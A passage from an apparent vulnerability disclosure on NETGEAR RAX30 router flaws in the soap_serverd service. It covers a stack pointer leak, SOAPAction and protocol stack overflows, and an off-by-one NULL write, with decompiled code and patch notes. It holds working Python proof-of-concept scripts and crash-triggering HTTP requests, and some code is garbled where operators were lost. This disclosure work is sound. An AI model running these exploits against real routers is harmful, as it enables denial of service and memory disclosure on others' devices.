‘SOAPAction’: ‘urn:NETGEAR-ROUTER:service:DeviceInfo:1#’ + payload,
‘Content-Type’: ‘text/xml;charset=utf-8’,
}

xml = “””
<!–?xml version=”1.0″ encoding= “UTF-8” ?–>
<v:Envelope xmlns:i=”http://www.w3.org/2001/XMLSchema-instance” xmlns:d=”http://www.w3.org/2001/XMLSchema” xmlns:c=”http://schemas.xmlsoap.org/soap/encoding/” xmlns:v=”http://schemas.xmlsoap.org/soap/envelope/”>
<v:Header>
<SessionId></SessionId>
</v:Header>
<v:Body>
<n0:GetInfo xmlns:n0=”urn:NETGEAR-ROUTER:service:DeviceInfo:1″ />
</v:Body>
</v:Envelope>
“””

requests.post(url, data=xml, headers=headers, verify=False)

def triggerMemoryLeak(hostname, port):
request = “””INVALID /soap/server_sa/ HTTP/1.0
User-Agent: ksoap2-android/2.6.0+
Content-Length: 0
Host: “””+hostname+“””:”””+str(port)+“””

“””

# Create SSL context
cxt = ssl.create_default_context()
cxt.check_hostname = False
cxt.verify_mode = ssl.CERT_NONE

# HTTPS Request
response = b“”
with socket.create_connection((args.domain, args.port)) as sock:
with cxt.wrap_socket(sock, server_hostname=args.domain) as ssock:
ssock.send(request.encode())
while True:
data = ssock.recv(2048)
if len(data) <= 0:
break
response += data

return response

if __name__ == “__main__”:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
parser = argparse.ArgumentParser(description=‘Remote stack pointer leak from soap_serverd binary on NETGEAR RAX30 router.’)
parser.add_argument(‘–domain’, default=‘routerlogin.net’, help=‘The NETGEAR router domain.’)
parser.add_argument(‘–port’, default=5043, type=int, help=‘The router soap server port.’)

args = parser.parse_args()
domain = ‘https://’ + args.domain + ‘:’ + str(args.port)

print(‘Sending large buffer…’)
sendLargeBuffer(domain + ‘/soap/server_sa/’, 500)

print(‘Triggering leak…’)
response = triggerMemoryLeak(args.domain, args.port)

# Remove surrounding ASCII
leakStart = b‘xmlns:m=”urn:NETGEAR-ROUTER:service:DeviceInfo:1″>rn <‘
leakEnd = b‘HTTP/1.1 400 Bad Requestrn
leak = response[response.index(leakStart)+len(leakStart):response.index(leakEnd)]

# Print leaked data
print(‘Leaked data: ‘ + ” “.join([“{:02x}”.format(x) for x in leak]))

# Print leaked stack address
address = struct.unpack(‘<I’, leak[:4])[0]
print(‘Stack Pointer: ‘ + hex(address))
print(‘Stack: ‘ + hex(address 0x1D8A8) + ‘-‘ + hex(address + 0x3758))

The following script output shows the stack pointer
0xbed7c8a8 was leaked, which was used to determine the
stack memory range of 0xbed5f000 to
0xbed80000.

└─$ python3 soap_cat_memory_leak.py –domain 192.168.1.1 –port 5043
Sending large buffer…
Triggering leak…
Leaked data: a8 c8 d7 be 01
Stack Pointer: 0xbed7c8a8
Stack: 0xbed5f000-0xbed80000

Patch v1.0.10.94

The patch clears any existing data in the response
variable by setting all bytes to zero using memset[1]. Although
strncat is still used, it will function like
strncpy as the buffer begins with a NULL byte.

void writeHttpResponse(UnkArg *param_1, int httpCode, char *httpCodeStr, int param_4, char *message)
{
size_t responseLen;
char buffer [128];
char response [1024];

memset(response, 0, 1024); // [1]
memset(buffer, 0, 128);
_writeHttpHeaders(httpCode, httpCodeStr, param_4, “text/html”);
memset(buffer, 0, 0x80);
__snprintf_chk(buffer, 0x80, 1, 0x80, “<HTML><HEAD><TITLE>%d %s</TITLE></HEAD>n<BODY BGCOLOR=#cc9999><H4>%d %s</H4> n”, httpCode, httpCodeStr, httpCode, httpCodeStr);
strncat(response, buffer, 0x80);
memset(buffer, 0, 0x80);
__snprintf_chk(buffer, 0x80, 1, 0x80, “%sn, message);
strncat(response, buffer, 0x80);
memset(buffer, 0, 0x80);
__snprintf_chk(buffer, 0x80, 1, 0x80, “<HR>n<ADDRESS><A HREF=%s>%s</A></ADDRESS>n</BODY></HTML>n, “http://schemas.xmlsoap.org/soap/encoding/”, OS/version UPnP/1.0 product/version);
strncat(response, buffer, 0x80);
responseLen = strlen(response);
__fprintf_chk(param_1->file, 1, response, responseLen);
return;
}

PSV-2022-???? –
SOAPAction Stack Buffer Overflow

Analysis

The vulnerability existed within the soap_response
(0x006A9C) function which handled sending the SOAP response
to the API request. This function allocated a buffer of 2048 bytes on
the stack for the response XML string. The value provided after “#” in
the SOAPAction header such as #Hello was then
appended to an XML response tag, resulting in
<m:HelloResponse…></m:HelloResponse>. The
developers did not consider the scenario where the
SOAPAction value was large as the output response was
doubled for a large request due to being inserted in the opening and
closing XML tag. Additionally, the insecure functions
strcpy, strcat and sprintf were
used extensively within this function.

The size of the standard response was approximately 264 bytes without
the SOAPAction input before the overflow occurs. Given a
SOAPAction input of 900, we can determine the approximate
buffer size of 2064 bytes ((900 * 2) + 264). Thus, the buffer overflows
by approximately 16 bytes.

The overflow was triggered in function soap_response
(0x006A9C) in various function calls such as
strcpy and spritnf depending on the size of
the SOAPAction value as shown in the following code
snippet:

void soap_response(undefined4 param_1,char *soapActionValue,undefined4 param_3,undefined4 *param_4, int para,char *result)
{
int iVar9;
char *local_58;
char *local_54;
int i = -(iVar9 + 0x807U 0xfffffff8);
char* __dest_01 = (char *)((int) local_58 + i);
char* pcVar7 = stack0x0000008d + i;
memset(__dest_01,0,iVar9 + 0x800);
strcpy(__dest_01, “<?xml version=1.0 encoding=UTF-8?>rn<soap-env:Envelopern xmlns:soap-env =http://schemas.xmlsoap.org/soap/envelope/“rn soap-env:encodingStyle=http://s chemas.xmlsoap.org/soap/encoding/>rn<soap-env:Body>rn <m:”);
int offset = sprintf(pcVar7,“%s”,soapActionValue); // Copy SOAPAction value for the first time
pcVar7 = pcVar7 + offset;
char* pcVar8 = pcVar7 + 0x36;
strcpy(pcVar7,“Responsern xmlns:m=urn:NETGEAR-ROUTER:service:”); // Append hard-coded XML string to buffer
offset = sprintf(pcVar8,“%s”,local_54);
char* __dest = pcVar8 + offset + 6;
strcpy(pcVar8 + offset,“:1>rn); // Append hard-coded XML string to buffer
local_54 = DAT_0004012b;
pcVar7 = ” <%s>%s</%s>rn;

strcpy(__dest,” </m:”); // Append hard-coded XML string to buffer
offset = sprintf(__dest + 8,“%s”,soapActionValue); // Copy SOAPAction value for the second time
pcVar7 = __dest + 8 + offset;
strcpy(pcVar7,“Response>rn); // Append hard-coded XML string to buffer

}

HTTP Request

The following request was unauthenticated and caused the binary to
crash within sprintf from a corrupted stack due to the
overflow of the SOAPAction header.

POST /soap/server_sa/ HTTP/1.1
User-Agent: ksoap2-android/2.6.0+
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Content-Type: text/xml;charset=utf-8
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 416
Host: routerlogin.net:5043

<!–?xml version=”1.0″ encoding= “UTF-8” ?–><v:Envelope xmlns:i=“http://www.w3.org/2001/XMLSchema-instance” xmlns:d=“http://www.w3.org/2001/XMLSchema” xmlns:c=“http://schemas.xmlsoap.org/soap/encoding/” xmlns:v=“http://schemas.xmlsoap.org/soap/envelope/”><v:Header><SessionId></SessionId></v:Header><v:Body><n0:GetInfo xmlns:n0=“urn:NETGEAR-ROUTER:service:DeviceInfo:1” /></v:Body></v:Envelope>

Python Proof of Concept
Script

The following proof of concept Python3 script
(soap_action_overflow.py) triggers the stack buffer overflow on firmware
version v1.0.7.78,
causing the service to crash.

#!/usr/bin/env python3

import argparse
import requests
import urllib3

if __name__ == “__main__”:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
parser = argparse.ArgumentParser(description=‘Crash soap_serverd binary on NETGEAR RAX30 router from a response buffer overflow.’)
parser.add_argument(‘–domain’, default=‘routerlogin.net’, help=‘The NETGEAR router domain.’)
parser.add_argument(‘–port’, default=5043, type=int, help=‘The router soap server port.’)

args = parser.parse_args()

payload = ‘A’ * 900

headers = {
‘User-Agent’: ‘ksoap2-android/2.6.0+’,
‘SOAPAction’: ‘urn:NETGEAR-ROUTER:service:DeviceInfo:1#’ + payload,
‘Content-Type’: ‘text/xml;charset=utf-8’,
}

xml = “””
<!–?xml version=”1.0″ encoding= “UTF-8” ?–>
<v:Envelope xmlns:i=”http://www.w3.org/2001/XMLSchema-instance” xmlns:d=”http://www.w3.org/2001/XMLSchema” xmlns:c=”http://schemas.xmlsoap.org/soap/encoding/” xmlns:v=”http://schemas.xmlsoap.org/soap/envelope/”>
<v:Header>
<SessionId></SessionId>
</v:Header>
<v:Body>
<n0:GetInfo xmlns:n0=”urn:NETGEAR-ROUTER:service:DeviceInfo:1″ />
</v:Body>
</v:Envelope>
“””

try:
print(‘Sending payload…’)
requests.post(‘https://’ + args.domain + ‘:’ + str(args.port) + ‘/soap/server_sa/’, data=xml, headers=headers, verify=False)
print(‘Payload failed to crash server.’)
except requests.exceptions.ConnectionError as e:
if ‘Remote end closed connection’ in str(e):
print(‘Payload crashed server!’)
else:
print(str(e))

Patch v1.0.9.92

The SOAP Action name length check was moved to occur before the
service_type switch statement in the soap_action
(0x016f78) function. Previously, this name length check
only occured on an invalid service_type.

if (500 < actionNameLength)
{
_actionNameLength = cmsUtl_strlen(actionName);
log_log(3,“soap_action”,0x130,“The length of ac is too long, it may be a bug or an attack.n ac=%s length=%d”,actionName,_actionNameLength,iVar8);
actionName = “SOAP_ActionName_Too_Long”;
puVar6 = DAT_0004115e;
pcVar1 = “soap_action”;
goto LAB_000173c0;
}

It should be noted however, the root cause of the vulnerability
within the soap_response function was not patched in v1.0.9.92
therefore it may still be possible to overflow the response buffer if
other large attacker-controlled data can be introduced into the HTTP
response.

PSV-2023-0010
– HTTP Body Off-By-One NULL Terminator Stack Canary Corruption

Analysis

An off-by-one NULL terminator caused the stack canary to become
corrupt in the body stack buffer of 2,048 bytes within the
handle_soapRequest (0x000152f0) function when
a body payload of 2,048 bytes was passed. The process proceeded to
terminate once the stack canary was corrupted with a stack smashing
detected error.

This can be seen in the following code snippet. The
handle_soapRequest (0x000152f0) function has a
stack body buffer of 2,048 bytes [9], which is filled within the
freadFile (0x000181b4) [10] [11] function when
a body of 2,048 bytes is processed. freadFile returns the
length read [12] which is 2,048 and that is stored in the
bodyLength variable [13]. A NULL terminator is then wrote
to bodyLength + 1 [14] which is 2,049 and therefore is
wrote 1 byte out of bounds and corrupts the stack canary.

int handle_soapRequest(char* ip)
{
char body [2048]; // <– [9] Body stack buffer of 2048 bytes

memset(body, 0, 2048);

int bodyLength = freadFile(body); // <— [10], [13] Data fills body buffer from HTPT request, body length is returned
if (bodyLength > 0)
{
body[bodyLength + 1] = ; // <– [14] Out of bounds NULL byte write (bodyLength + 1 = 2049)
soap_action(0,soapAction,body,ip);
}

}

int freadFile(int param_1,char *buffer)
{
memset(buffer, 0, 2048);
int readCount = fread(buffer, 1, 2048, *(FILE **)(param_1 + 0xc)); // <– [11] Data fills buffer from HTTP request with 2048 bytes
return readCount; // <– [12] Number of bytes read from HTTP request (max readCount = 2048)
}

HTTP Request

The following HTTP request triggers the out of bounds NULL terminator
write:

POST /soap/server_sa/ HTTP/1.1
User-Agent: ksoap2-android/2.6.0+
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#A
Content-Length: 2048
Host: 192.168.2.1:5043

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Python Proof of Concept
Script

The following proof of concept script (soap_oob_null_write.py) can be
executed to trigger the off-by-one out of bounds NULL byte stack canary
corruption.

#!/usr/bin/env python3

import argparse
import requests
import urllib3

if __name__ == “__main__”:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
parser = argparse.ArgumentParser(description=‘Crash soap_serverd binary on NETGEAR RAX30 router with an OOB NULL byte.’)
parser.add_argument(‘–domain’, default=‘routerlogin.net’, help=‘The NETGEAR router domain.’)
parser.add_argument(‘–port’, default=5043, type=int, help=‘The router soap server port.’)

args = parser.parse_args()

# Trigger OOB NULL byte crash
payload = ‘A’ * 2048
print(‘Sending payload…’)
requests.post(‘https://’ + args.domain + ‘:’ + str(args.port) + ‘/soap/server_sa/’, data=payload, headers={
‘User-Agent’: ‘ksoap2-android/2.6.0+’,
‘SOAPAction’: ‘urn:NETGEAR-ROUTER:service:DeviceInfo:1#A’,
}, verify=False)

# Check we have crashed the SOAP service
try:
requests.post(‘https://’ + args.domain + ‘:’ + str(args.port) + ‘/soap/server_sa/’, data=‘A’, headers={
‘User-Agent’: ‘ksoap2-android/2.6.0+’,
‘SOAPAction’: ‘urn:NETGEAR-ROUTER:service:DeviceInfo:1#A’,
}, verify=False)
print(‘Payload failed to crash server.’)
except requests.exceptions.ConnectionError as e:
if ‘Connection refused’ in str(e):
print(‘Payload crashed server!’)
else:
print(str(e))

On execution, the payload will be sent to the SOAP service and cause
it to crash on vulnerable firmware versions.

└─$ python3 soap_oob_null_write.py –domain 192.168.1.1 –port 5043
Sending payload…
Payload crashed server!

Patch v1.0.10.94

The patch changes the freadFile function to accept the
buffer size as a variable instead of using the fixed size of 2048. It
then reads the data into this buffer at a length of the buffer size
minus one, which prevents the NULL terminator from being wrote out of
bounds.

int handle_soapRequest(char* ip)
{
char body [2048];

memset(body, 0, 2048);

int bodyLength = _freadFile(body, 2048);
if (bodyLength > 0)
{
body[bodyLength + 1] = ;
soap_action(0, soapAction, body, ip);
}

}

int freadFile(int param_1, void *buffer, size_t bufferSize)
{
memset(buffer, 0, bufferSize);
int readCount = fread(buffer, 1, bufferSize 1, *(FILE **)(param_1 + 0xc));
return readCount;
}

PSV-2023-0011
– HTTP Protocol Stack Buffer Overflow

Analysis

The handle_soapRequest (0x000152f0)
function is vulnerable to a classic stack overflow in the
protocol buffer [15] when the provided protocol is greater
than 2048 bytes. Due to the stack layout, the overflow fills the
protocol variable, followed by the soapAction
[16] and body [17] buffers before overwriting the stack
canary. The _fgetsFile (0x0018ef0) function
call [18] retrieves the HTTP requests first line and stores it in
line [19]. The protocol part of the line is then copied
[20] to the protocol buffer [15] and overflows when the length of
protocol exceeds the variable buffer size of 2048 bytes.

int handle_soapRequest(char *ip)
{

char line [2048]; // <— [19]
char method [2048];
char path [2048];
char protocol [2048]; // <— [15]
char soapAction [2048]; // <— [16]
char body [2048]; // <— [17]

memset(line, 0, 2048);
memset(method, 0, 2048);
memset(path, 0, 2048);
memset(protocol, 0, 2048);

int readCount = _fgetsFile(line); // <— [18]

int iVar1 = __isoc99_sscanf(line, “%[^ ] %[^ ] %[^ ]”, method, path, protocol); // <— [20] Overflow occurs when protocol exceeds 2048 bytes

}

HTTP Request

The following HTTP POST request demonstrates this vulnerability by
filling the protocol buffer with 2,048 A
characters, the soapAction with 2,048 B
characters, the body with 2,048 C characters
and finally the stack canary with 4 D bytes.

POST /soap/server_sa/ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC